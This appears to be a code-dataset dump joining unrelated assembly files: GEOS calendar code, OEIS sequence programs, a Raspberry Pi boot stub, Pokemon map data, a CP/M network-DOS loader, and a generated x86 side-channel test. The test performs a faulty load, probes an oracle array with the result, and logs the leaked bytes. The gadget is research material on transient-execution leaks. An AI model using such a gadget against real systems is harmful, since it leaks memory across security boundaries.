%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatMapIndexToStruct proc near
.enter
; Obtain the current RepeatStruct
;
mov ax, ds:[repeatMapGroup] ; get the RepeatMap group #
mov di, ds:[repeatMapItem] ; get the RepeatMap item #
call GP_DBLockDerefDI ; lock the map
mov bp, ds:[RDCurrentSelect] ; Entry number => BP
shl bp, 1
shl bp, 1 ; Size RMS = 4 bytes
add bp, size RepeatMapHeader ; total offset => BP
EC < cmp bp, es:[di].RMH_size >
EC < ERROR_GE REPEAT_DYNAMIC_COMMON_BAD_SIZE >
mov bx, es:[di][bp].RMS_indexValue ; Index value => BX
mov di, es:[di][bp].RMS_item ; RepeatStruct item => DI
call DBUnlock ; Unlock the RepeatMap
.leave
ret
RepeatMapIndexToStruct endp
RepeatCode ends
CommonCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatGetNumEvents
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the numbers of repeat event entries
CALLED BY: UTILITY
PASS: DS = DGroup
RETURN: CX = Number of events
DESTROYED: AX, DI, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/26/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatGetNumEvents proc far
.enter
EC < VerifyDGroupDS ; verify DGroup >
mov ax, ds:[repeatMapGroup] ; get the RepeatMap group #
mov di, ds:[repeatMapItem] ; get the RepeatMap item #
tst ax ; no map group ??
jz noEvents
call GP_DBLockDerefDI ; lock the map item
mov cx, es:[di].RMH_numItems
call DBUnlock ; unlock the map item
mov ds:[repeatEvents], TRUE ; assume we have some events
tst cx ; are there any repeat events?
jnz done
noEvents:
mov ds:[repeatEvents], FALSE ; no events at all
mov cx, 1 ; use the "No Event" moniker
done:
.leave
ret
RepeatGetNumEvents endp
CommonCode ends
| 26.413043 | 79 | 0.580556 |
95fb39e5c631251d0e878436724bc3a1fd82cac2 | 562 | asm | Assembly | oeis/132/A132190.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/132/A132190.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/132/A132190.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A132190: Numbers n such that 7*n^2 + 1 is prime.
; Submitted by Jamie Morken(w2)
; 2,4,8,10,12,14,18,20,22,26,30,34,44,46,58,66,68,70,74,76,78,84,90,96,100,106,108,110,120,128,134,140,146,152,154,156,158,162,164,168,174,184,186,188,196,200,202,210,216,228,232,238,250,252,260,262,264,268
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $5,$1
add $1,4
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
mov $6,$5
mul $6,7
lpe
mov $0,$1
div $0,4
mul $0,2
| 23.416667 | 206 | 0.628114 |
fec112c56bb462238ed6fd7097334a02edc05bea | 780 | asm | Assembly | programs/oeis/306/A306609.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/306/A306609.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/306/A306609.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A306609: a(n) = Sum_{k=0..n} k*binomial(4*n+2,2*k)
; 0,15,465,11102,236997,4751010,91474890,1712391420,31398038701,566621243642,10097483539038,178113001428004,3115342162844450,54103694774702292,933929099838928692,16037182307150776056,274132978890654857853,4667160114821964359530,79177297937966956038102,1338972240005810710258452,22579081523066506464013398,379773906493876777658607164,6372821349892354894555933260,106712670630937355831211516616,1783430839759751947785497507282,29752361019907962808128213057060,495532609521431613087627133683820,8240671152089455360972281182843240,136848644188958590416349725207497892
mul $0,2
mov $3,$0
mul $0,2
trn $0,1
seq $0,45621 ; a(n) = 2^n - binomial(n, floor(n/2)).
mov $1,$0
add $0,1
mov $2,$1
lpb $3
add $0,$2
sub $3,1
lpe
sub $0,1
| 45.882353 | 563 | 0.832051 |
a4f67326aac5375882f0346c27fb56fbdc0529e8 | 349 | asm | Assembly | programs/oeis/193/A193147.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/193/A193147.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/193/A193147.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A193147: G.f.: 1/(1 - x - 2*x^3 - x^5).
; 1,1,1,3,5,8,15,26,45,80,140,245,431,756,1326,2328,4085,7168,12580,22076,38740,67985,119305,209365,367411,644761,1131476,1985603,3484490,6114853,10730820,18831276,33046585,57992715,101770120,178594110,313410816,549997641
mul $0,2
trn $0,4
seq $0,99559 ; a(n) = Sum_{k=0..floor(n/5)} C(n-4k,k+1).
add $0,1
| 43.625 | 221 | 0.69914 |
e62bb334e83be30fc3efd757b0cdbd098e784b74 | 53 | asm | Assembly | boot/loader/stage1/signature.asm | jocke-l/stark | 3b9349a195593bd50c43956650e406074f88a631 | [
"BSD-2-Clause"
] | 1 | 2016-08-24T04:06:53.000Z | 2016-08-24T04:06:53.000Z | boot/loader/stage1/signature.asm | jocke-l/stark | 3b9349a195593bd50c43956650e406074f88a631 | [
"BSD-2-Clause"
] | null | null | null | boot/loader/stage1/signature.asm | jocke-l/stark | 3b9349a195593bd50c43956650e406074f88a631 | [
"BSD-2-Clause"
] | null | null | null | section .signature
signature:
db 0x55
db 0xaa
| 8.833333 | 18 | 0.698113 |
3bc221110749604a6ee8c198ee79d361d1dd7083 | 1,443 | asm | Assembly | src/kernel/arch/aarch64/board/raspi3/asm/boot.asm | aryanmaurya1/ArvernOS | a8452c01cd180ffbdabf949c80329ccfcc84d2e9 | [
"MIT"
] | 77 | 2021-11-19T15:56:32.000Z | 2022-03-30T04:02:02.000Z | src/kernel/arch/aarch64/board/raspi3/asm/boot.asm | aryanmaurya1/ArvernOS | a8452c01cd180ffbdabf949c80329ccfcc84d2e9 | [
"MIT"
] | 57 | 2021-11-19T12:38:52.000Z | 2022-03-03T08:56:35.000Z | src/kernel/arch/aarch64/board/raspi3/asm/boot.asm | aryanmaurya1/ArvernOS | a8452c01cd180ffbdabf949c80329ccfcc84d2e9 | [
"MIT"
] | 2 | 2022-03-01T06:39:25.000Z | 2022-03-24T15:47:45.000Z | // At an early stage, this file was mainly inspired by [the work][1] of Zoltan
// Baldaszti (@bztsrc) licensed under the MIT License: Copyright (C) 2017 bzt
// (bztsrc@github).
//
// [1]: https://github.com/bztsrc/raspi3-tutorial
#include <core/register.h>
.section ".text.boot"
.global start
start:
// backup w0, which contains the atags/device tree address
mov w6, w0
// read cpu id, stop secondary cores
mrs x0, mpidr_el1
and x0, x0, #0xFF
cbz x0, setup_primary
b hang
setup_primary:
// disable coprocessor traps
mov x0, #0x33FF
msr cptr_el2, x0
msr hstr_el2, xzr
// enable FP/SIMD at EL1
mov x0, #(3 << 20)
msr cpacr_el1, x0
ldr x0, =SCTLR_VALUE_MMU_DISABLED
msr sctlr_el1, x0
// configure aarch64 in EL1
mov x0, #(1 << 31)
msr hcr_el2, x0
// change execution level to EL1
ldr x0, =SPSR_VALUE
msr spsr_el2, x0
ldr x0, =el1_start
msr elr_el2, x0
eret
el1_start:
// set top of stack just before our code (stack grows to a lower address per
// AAPCS64)
ldr x1, =start
mov sp, x1
// load vector table
ldr x2, =vectors
msr vbar_el1, x2
// clear bss
ldr x5, =__bss_start
ldr w2, =__bss_size
clear_bss:
cbz w2, call_kmain
str xzr, [x5], #8
sub w2, w2, #1
cbnz w2, clear_bss
call_kmain:
// pass w0 (previously stored in w6 at the top of the file), which contains
// the atags/device tree address
mov w0, w6
bl kmain
b hang
hang:
wfe
b hang
| 18.986842 | 78 | 0.671518 |
ab204d438d7626f85efe6e1d3d8777f26a718519 | 841 | asm | Assembly | data/mapObjects/CinnabarGym.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | data/mapObjects/CinnabarGym.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | data/mapObjects/CinnabarGym.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | CinnabarGym_Object:
db $2e ; border block
db 2 ; warps
warp 16, 17, 1, -1
warp 17, 17, 1, -1
db 0 ; signs
db 9 ; objects
object SPRITE_FAT_BALD_GUY, 3, 3, STAY, DOWN, 1, OPP_BLAINE, 1
object SPRITE_BLACK_HAIR_BOY_2, 17, 2, STAY, DOWN, 2, OPP_SUPER_NERD, 9
object SPRITE_BLACK_HAIR_BOY_2, 17, 8, STAY, DOWN, 3, OPP_BURGLAR, 4
object SPRITE_BLACK_HAIR_BOY_2, 11, 4, STAY, DOWN, 4, OPP_SUPER_NERD, 10
object SPRITE_BLACK_HAIR_BOY_2, 11, 8, STAY, DOWN, 5, OPP_BURGLAR, 5
object SPRITE_BLACK_HAIR_BOY_2, 11, 14, STAY, DOWN, 6, OPP_SUPER_NERD, 11
object SPRITE_BLACK_HAIR_BOY_2, 3, 14, STAY, DOWN, 7, OPP_BURGLAR, 6
object SPRITE_BLACK_HAIR_BOY_2, 3, 8, STAY, DOWN, 8, OPP_SUPER_NERD, 12
object SPRITE_GYM_HELPER, 16, 13, STAY, DOWN, 9 ; person
; warp-to
warp_to 16, 17, CINNABAR_GYM_WIDTH
warp_to 17, 17, CINNABAR_GYM_WIDTH
| 35.041667 | 74 | 0.734839 |
ff32f91969951534989b8904a67819abc93b39c6 | 6,767 | asm | Assembly | cpm/ndos/ldndos.asm | erikp9000/cpm-ndos | d2e17f3aa11e22d30510278e78814151934355d2 | [
"MIT"
] | null | null | null | cpm/ndos/ldndos.asm | erikp9000/cpm-ndos | d2e17f3aa11e22d30510278e78814151934355d2 | [
"MIT"
] | 7 | 2020-06-03T01:12:06.000Z | 2020-06-12T19:11:33.000Z | cpm/ndos/ldndos.asm | erikp9000/cpm-ndos | d2e17f3aa11e22d30510278e78814151934355d2 | [
"MIT"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; LDNDOS.ASM
;;
;; To build LDNDOS.COM:
;; MAC LDNDOS
;; LOAD LDNDOS
;;
;; This is the loader for NIOS.SPR and NDOS.SPR. If NDOS is
;; already running, then LDNDOS resets the network stack.
;; Use the /K argument to unload NDOS.
;;
;; If a filename argument is provided, then LDNDOS will
;; load the referenced file as the NIOS. For example,
;;
;; A>LDNDOS [loads NIOS.SPR and NDOS.SPR]
;;
;; A>LDNDOS KP-NIOS.SPR [loads KP-NIOS.SPR and NDOS.SPR]
;;
;; A>LDNDOS /K [unload NDOS and NIOS and warm boot]
;;
maclib ndos
org tpa
lxi h,0
dad sp ; hl = sp
shld savestack ; save original stack pointer
lxi sp,stack
;
; Parse command line
;
lda defdma ; command argument length
ora a
jz chkndos
; look for /K in args
mov c,a ; c=count
lxi h,defdma+1 ; first char
loop: mov a,m
cpi '/'
jnz nextchar
inx h
dcr c
jz chkndos
mov a,m
cpi 'K'
jnz nextchar
sta unload ; signal kill command
jmp chkndos
nextchar:
inx h
dcr c
jnz loop
;
; Is NDOS loaded?
;
chkndos:
mvi c,n?ver
call bdosv
ora a
jz doload ; BDOS returns 0 when NDOS is not loaded
; a= NDOS version
push psw
ani 15
adi '0'
sta version+2
pop psw
rrc
rrc
rrc
rrc
ani 15
adi '0'
sta version
mvi c,prnstr
lxi d,signon
call bdosv
lda unload ; NDOS is loaded, check unload flag
ora a
jnz dounload
;
; Cold-start NDOS which hooks BDOS & BIOS vectors and inits the NIOS
;
lhld bdosv+1
mvi l,NDOSCOLD
pchl ; jump to cold start
;
; Remove NDOS from memory
;
dounload:
mvi c,prnstr
lxi d,removed
call bdosv
lhld bdosv+1
mvi l,NDOSKILL
pchl ; jump to kill NDOS
;
; Load NIOS and NDOS and cold start NDOS
;
doload:
lda unload ; check for kill command
ora a
jz doload2
mvi c,prnstr ; NDOS isn't loaded, can't kill it
lxi d,notloaded
call bdosv
lhld savestack
sphl ; sp = hl
ret ; quit
; first, load the NIOS.SPR
doload2:
mvi c,prnstr
lxi d,startup
call bdosv
mvi c,prnstr
lxi d,copyrgh
call bdosv
lda defdma ; check for command line args
ora a
lxi d,niosfcb ; select NIOS internal filename
jz doload3
lxi d,deffcb ; select NIOS filename from command line
doload3:
lda bdosv+2 ; BDOS page
sta bdospage
xchg ; hl = NIOS fcb address
shld fcb
mov h,a
mvi l,0
lxi d,bdosstr ; print BDOS page
call prnvector
call install ; load file referenced by fcb and relocate
lda newpage ; NIOS page
sta bdospage
lxi d,ndosfcb
xchg
shld fcb
mov h,a
mvi l,0
lxi d,niosstr ; print NIOS page
call prnvector
call install
lda newpage ; NDOS page
push psw
mov h,a
mvi l,0
lxi d,ndosstr ; print NDOS page
call prnvector
pop psw ; pop h?
mov h,a
mvi l,NDOSCOLD ; NDOS cold start
pchl ; jump into NDOS
;
; SPR file installer, load file at fcb
;
install:mvi c,openf
lhld fcb
xchg
call bdosv ; open NIOS.SPR
inr a
jz not?found
lxi d,buffer
loadloop:
push d ; save buffer address
mvi c,setdma
call bdosv ; set DMA to buffer
mvi c,readf
lhld fcb
xchg
call bdosv ; read 128 bytes
pop h ; recover buffer address
ora a
jnz done
lxi d,128
dad d
xchg ; swap hl and de
jmp loadloop
done: mvi c,closef
lhld fcb
xchg
call bdosv
; now, relocate the image to upper memory
lhld buffer+1 ; size of NIOS image
xchg ; de = size of image
mov b,d ; b = high-byte of size
inr b ; b = #pages of image
lda bdospage ; a = BDOS page
sub b ; a = new top of TPA page
sta newpage
mov b,a
mvi c,0 ; bc = destination
lxi h,buffer+256 ; hl = image source
push h ; save hl
dad d ; hl = start of relocation bitmap
mvi a,80h ; start with bit 7
sta bitmask
moveloop:
lda bitmask
ana m ; check relocation bitmap @hl
xthl ; hl = image source
mov a,m ; get image byte
jz nextbyte ; mov and xthl don't affect zero flag
lda newpage
add m
nextbyte:
stax b ; write to destination
inx h ; ++image source
xthl ; hl = relocation bitmap
inx b ; ++destination
dcx d ; --count
lda bitmask
rrc ; bit 0 rotates into bit 7 and Carry
sta bitmask
jnc checkdone
inx h ; next byte in relocation bitmap
checkdone:
mov a,d
ora e
jnz moveloop
pop h ; clean-up stack
ret
; Print file not found error
not?found:
mvi c,prnstr
lxi d,error
call bdosv
rst 0 ; warm start because CCP is probably gone!
; Print string at de, then vector value in hl, then CRLF
prnvector:
push h
mvi c,prnstr
call bdosv
pop h
call prnword
prncrlf:mvi c,prnstr
lxi d,crlf
jmp bdosv
; Print value in A as hexadecimal character
prnchar:
ani 0fh
cpi 10
jc less
adi 'A'-'0'-10
less: adi '0'
mvi c,conout ; console output
mov e,a
call bdosv
ret
; Print value in HL in hexadecimal
prnword:
mov a,h
rrc
rrc
rrc
rrc
push h
call prnchar
pop h
mov a,h
push h
call prnchar
pop h
mov a,l
rrc
rrc
rrc
rrc
push h
call prnchar
pop h
mov a,l
call prnchar
ret
crlf: db cr,lf,'$'
bdosstr:db 'BDOS : $'
niosstr:db 'NIOS : $'
ndosstr:db 'NDOS : $'
fcb: dw 0 ; points to FCB
niosfcb:db 0,'NIOS SPR',0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0 ; current record
ndosfcb:db 0,'NDOS SPR',0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0 ; current record
error:
db 'NIOS.SPR or NDOS.SPR not found',cr,lf
db 'Specify the NIOS file as: LDNDOS <nios>.SPR',cr,lf,'$'
loaded:
db 'NDOS loaded',cr,lf,'$'
already:
db 'NDOS already loaded',cr,lf,'$'
notloaded:
db 'NDOS not loaded',cr,lf,'$'
removed:
db 'NDOS removed',cr,lf,'$'
signon: db 'NDOS '
version:db 'x.y',cr,lf
copyrgh:db 'Copyright (c) 2019-20 Erik Petersen',cr,lf,'$'
startup:db 'Loading NDOS and NIOS',cr,lf,'$'
newpage:
db 0
bitmask:db 0
bdospage:
dw 0
unload: db 0
savestack:
dw 0
ds 16
stack:
; read SPR files into buffer starting here
buffer:
end
| 17.576623 | 70 | 0.566425 |
917b52cb3190545227cb9d7a1499c39538dd1e50 | 594 | asm | Assembly | programs/oeis/082/A082844.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/082/A082844.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/082/A082844.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A082844: Start with 3,2 and apply the rule a(a(1)+a(2)+...+a(n)) = a(n), fill in any undefined terms with a(t) = 2 if a(t-1) = 3 and a(t) = 3 if a(t-1) = 2.
; 3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3,2,3,2,2,3,2,3,2,3,2,2,3
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
add $0,2
mul $0,106
add $0,2
div $0,256
mov $2,$0
mov $4,$3
lpb $4
mov $1,$2
sub $4,1
lpe
lpe
lpb $5
sub $1,$2
mov $5,0
lpe
add $1,2
mov $0,$1
| 22 | 201 | 0.505051 |
29556861db6c0abd86cc13c700f9dff2f48d2409 | 7,843 | asm | Assembly | Transynther/x86/_processed/US/_ht_zr_/i7-7700_9_0x48.log_21829_861.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_ht_zr_/i7-7700_9_0x48.log_21829_861.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_ht_zr_/i7-7700_9_0x48.log_21829_861.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1e799, %rsi
lea addresses_normal_ht+0x13979, %rdi
nop
nop
nop
sub %r11, %r11
mov $38, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $21823, %rcx
lea addresses_normal_ht+0xe650, %rsi
lea addresses_D_ht+0x8449, %rdi
nop
nop
nop
and %r13, %r13
mov $2, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0xbb79, %rbp
nop
nop
nop
dec %rax
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
cmp $39857, %rcx
lea addresses_UC_ht+0x1479, %rcx
nop
xor %rax, %rax
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r13
nop
cmp $64310, %rdi
lea addresses_WC_ht+0x63d9, %rcx
nop
nop
inc %rax
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rcx)
nop
nop
nop
nop
xor $44231, %r13
lea addresses_A_ht+0x129dd, %r11
nop
xor %rax, %rax
movb $0x61, (%r11)
nop
nop
nop
nop
add $45878, %rsi
lea addresses_UC_ht+0x6179, %rax
nop
nop
add %rdi, %rdi
movb $0x61, (%rax)
nop
dec %rbp
lea addresses_WC_ht+0x66b9, %r13
add %rdi, %rdi
mov $0x6162636465666768, %rbp
movq %rbp, (%r13)
nop
nop
nop
nop
xor $10477, %rax
lea addresses_WT_ht+0xc361, %rdi
xor $36772, %rbp
movl $0x61626364, (%rdi)
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x14c79, %rsi
nop
nop
nop
nop
add %rbp, %rbp
movups (%rsi), %xmm4
vpextrq $0, %xmm4, %rax
nop
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x5c79, %rax
nop
nop
sub $56389, %rcx
mov (%rax), %r11
nop
nop
nop
nop
inc %rcx
lea addresses_A_ht+0xa479, %r13
nop
nop
nop
sub %rax, %rax
vmovups (%r13), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rcx
nop
nop
sub %r11, %r11
lea addresses_A_ht+0x6c79, %rcx
nop
nop
nop
nop
xor %r13, %r13
mov (%rcx), %rax
nop
and %rcx, %rcx
lea addresses_normal_ht+0x19799, %r13
nop
nop
nop
nop
nop
inc %rcx
mov (%r13), %di
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x19b79, %rsi
lea addresses_A_ht+0x10879, %rdi
nop
nop
nop
nop
add $8511, %r12
mov $108, %rcx
rep movsw
nop
nop
nop
nop
nop
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %r9
push %rsi
// Faulty Load
lea addresses_US+0xb479, %r9
nop
nop
nop
nop
nop
and $62950, %rsi
vmovups (%r9), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r8
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rsi
pop %r9
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 2, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'49': 880, '47': 3302, '48': 4687, '45': 8878, '00': 4082}
48 48 45 49 00 48 45 48 47 48 00 49 45 00 47 45 45 45 47 00 45 00 47 45 00 47 45 45 48 00 00 47 48 48 00 00 47 00 48 47 45 45 45 48 45 45 47 45 00 48 45 45 48 45 45 00 00 45 45 45 00 45 47 49 00 45 48 00 47 45 45 48 45 45 48 00 45 48 45 45 45 47 45 45 00 48 00 45 00 45 49 47 48 45 49 00 47 48 45 45 48 48 45 48 47 45 47 45 00 47 45 45 45 45 47 45 00 47 49 48 45 48 47 00 49 48 45 45 45 48 47 45 00 47 49 48 45 45 48 45 45 47 45 48 00 48 45 45 00 45 45 45 48 47 00 00 45 48 47 45 45 48 49 00 48 47 49 48 45 00 45 00 45 45 45 00 45 45 45 47 45 45 48 47 45 48 48 45 48 45 48 00 45 48 47 45 45 48 45 45 48 45 00 45 00 48 45 47 47 45 48 45 45 48 47 49 48 45 45 47 47 45 00 00 45 00 45 45 47 45 47 49 00 45 47 45 48 45 45 00 00 49 45 48 45 45 45 48 45 45 47 45 45 45 00 45 00 47 45 45 48 45 48 45 48 45 47 00 47 45 00 47 00 45 48 45 45 47 45 47 45 45 48 48 45 45 45 45 45 48 45 48 45 45 45 00 45 48 45 00 45 00 45 47 45 45 48 00 48 45 45 47 45 48 00 47 49 00 45 45 00 45 48 48 48 47 45 00 45 48 45 00 48 45 45 48 45 49 48 00 45 48 47 45 48 45 45 48 45 48 48 45 45 45 00 47 48 48 45 45 48 45 45 45 45 00 47 00 48 45 48 47 45 45 48 45 49 48 00 45 47 45 45 45 45 45 00 47 45 00 45 00 00 48 45 48 00 47 45 00 45 49 49 45 47 00 45 49 47 45 45 48 45 48 47 45 00 45 45 47 45 45 00 00 45 48 45 45 47 45 00 45 47 45 48 00 49 45 48 45 45 48 49 48 47 45 48 47 45 47 49 48 47 45 45 47 45 47 48 45 48 48 48 47 00 48 48 45 48 47 45 00 47 00 48 45 45 48 47 45 45 47 45 45 48 48 48 47 47 45 48 47 00 48 45 47 00 48 45 48 48 47 47 45 48 45 00 45 48 47 45 48 00 45 48 45 48 48 45 45 00 47 00 45 47 48 47 45 48 45 48 45 00 45 45 47 45 48 48 00 45 00 48 47 48 00 47 45 00 45 00 47 45 45 00 00 48 45 00 47 48 45 48 47 45 49 00 47 48 45 00 47 45 45 00 48 00 48 00 47 47 45 45 48 45 00 00 00 47 45 45 48 45 49 00 47 45 00 45 45 45 00 48 00 45 45 45 47 45 48 45 00 47 45 45 45 49 00 45 00 47 00 47 45 48 47 45 49 00 00 45 45 00 47 00 48 45 00 47 00 48 47 47 47 49 45 48 45 45 48 00 47 45 47 00 48 47 45 00 00 45 45 00 45 45 48 47 00 00 47 45 45 45 48 47 00 45 00 47 45 00 00 47 45 48 45 45 47 45 00 48 45 45 48 45 45 45 48 47 45 48 48 45 45 45 48 48 45 49 45 45 45 47 45 45 48 45 45 45 48 45 00 48 45 45 00 45 48 00 45 45 00 47 45 49 45 00 45 45 00 48 45 48 45 00 47 45 00 45 45 00 48 48 45 47 45 45 00 47 45 45 47 45 45 48 49 45 48 00 48 45 45 48 49 00 47 45 00 